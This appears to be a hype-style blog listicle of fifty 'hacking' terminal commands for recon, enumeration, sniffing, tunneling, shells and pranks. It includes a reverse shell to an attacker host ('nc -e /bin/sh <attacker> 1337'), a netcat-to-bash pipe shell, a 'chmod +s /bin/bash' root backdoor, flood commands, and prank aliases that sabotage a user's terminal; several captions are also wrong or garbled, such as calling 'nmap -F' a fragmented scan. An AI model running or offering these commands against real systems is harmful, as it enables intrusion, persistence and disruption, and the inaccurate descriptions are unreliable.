50 Hacking Commands That’ll Melt Your Terminal (and Your Brain)
⚡ Hackers, Pen-Testers, Cyber Wizards — This One’s for You
Tired of “Top 5” lists that give you nothing but ping and nmap -sV?
This is not that. This is the real deal, my terminal-fu fam.
50 legit hacking commands, carefully crafted and field-tested by pros like John Hammond, TomNomNom, and NetworkChuck himself.
We’re talking ICMP tunnels, Wireshark’s evil twin, ASCII trolls, mass scans, and enough nmap sauce to fingerprint half the internet.
🔥 Here’s What You’ll Get:
- ✅ Real-world red teaming commands
- ✅ Evade firewalls like a ghost in the wire
- ✅ Exploit scanning, packet sniffing, and remote shells
- ✅ Terminal memes & ASCII trains to keep things spicy
💣 The Full List: Top 50 Hacking Commands You Actually Need
Here they are, grouped by category — because chaos needs structure (kinda).
🥷 Recon & Scanning
ping— Are you even online, bro?ping -s 1300 -f <target>— Floodzilla.hping3 -S -p 80 -V <target>— TCP flood with flair.hping3 --traceroute— Fancy firewall-dodging traceroutes.nmap -sn <subnet>— Host discovery.nmap -sV <target>— Service detection.nmap -O <target>— OS detection.nmap -Pn <target>— Skip ping probes.nmap -F <target>— Stealth scan (fragmented).nmap -D RND:10 <target>— Decoys for days.masscan -p0-65535 <range> --rate 10000— Internet-scale scan speed.whatweb <domain>— What tech stack we talking?whois <domain>— Who owns this thing?WPScan --url <target> --enumerate u— WordPress vulnerabilities.nikto -h <host>— Quick web vuln scanning.
🔍 Subdomain & Directory Enumeration
gobuster dir -u <url> -w <wordlist>— Find hidden dirs.gobuster dns -d <domain> -w <dnslist>— Subdomain smash.sublist3r -d <domain>— Auto-sub discovery.amass enum -d <domain>— Passive or active sub sweeps.wget <wordlist>— Grab more ammo.
⚙️ Exploits & Post-Exploitation
git clone <exploit-repo>— Downloading weapons.searchsploit <term>— Find public exploits fast.searchsploit -u— Update your arsenal.bash -p— Root shell if SUID is set.chmod +s /bin/bash— Set your root backdoor.
🎯 Packet Sniffing & Network Analysis
tcpdump -i any icmp— Real-time ICMP sniffing.tcpdump -w capture.pcap— Save it for later.tcpdump -r capture.pcap— Read your chaos.tshark— Wireshark CLI power.tshark -Y "http.request.method == 'GET'"— Filter for juicy GETs.tshark -r file.pcap -qz endpoints,ip— Who talked to who?tshark -T fields -e ip.src -e ip.dst— Clean CSV-style output.iftop— Bandwidth monitor wizardry.
🧠 Tunneling & Obfuscation
ptunnel— SSH over ICMP, bruh.ssh -D 1337 -C -q -N user@host— SOCKS5 proxy via SSH.ssh user@host 'whoami'— Remote command run.ssh user@host— You already know.
💬 Shells & Persistence
nc -lvp 1337— Listener mode.nc -e /bin/sh <attacker> 1337— Reverse shell. You’re in.nc -lvnp 1234 | bash— Bash pipe shell.tmux new -s <name>— Terminal multitool.tmux attach -t <name>— Reattach like a boss.
🛠️ Misc Tools & Pro Tricks
curl -i <url>— Check headers like a ninja.curl -H "Auth: token" <api>— Auth in your curl.alias ls='cat /dev/urandom'— The chaos trap.alias ls='sl'— Choo choo! (Steam Locomotive).cat /dev/urandom— Nonsense, everywhere.vim -— Pipe stdout into Vim to edit like a warlock.column %!sort— Run sort inside Vim. What?git clone && ln -s— Setup Git tools in a flash.
🧙 Final Words from the Command Line Cult
If you master even half of these commands, you’ll:
- Evade firewalls.
- Pop shells like champagne.
- Dissect packets with surgical precision.
- Make sysadmins scream “WTF?”
And yes, maybe even break the matrix a little.
—ArenRedd